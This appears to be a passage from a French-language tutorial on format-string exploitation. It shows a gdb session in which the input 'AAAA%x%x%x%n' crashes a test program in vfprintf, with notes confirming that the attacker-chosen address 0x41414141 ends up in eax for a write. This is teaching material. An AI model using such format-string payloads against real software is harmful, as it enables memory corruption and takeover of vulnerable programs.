(gdb) r AAAA%x%x%x%n Starting program: /root/tests/vuln AAAA%x%x%x%n Program received signal SIGSEGV, Segmentation fault. 0xb7ed5c35 in vfprintf () from /lib/i686/cmov/libc.so.6 <------------ **printf() plante sur l'instruction à l'adresse 0xb7ed5c35** (gdb) x/i 0xb7ed5c35 0xb7ed5c35 : mov DWORD PTR [eax],edx <------------ **cette instruction = place la valeur contenue dans edx à l'adresse contenue dans eax** (gdb) i reg $eax eax 0x41414141 1094795585 <------------ **eax contient bien "l'adresse" que nous avons choisi**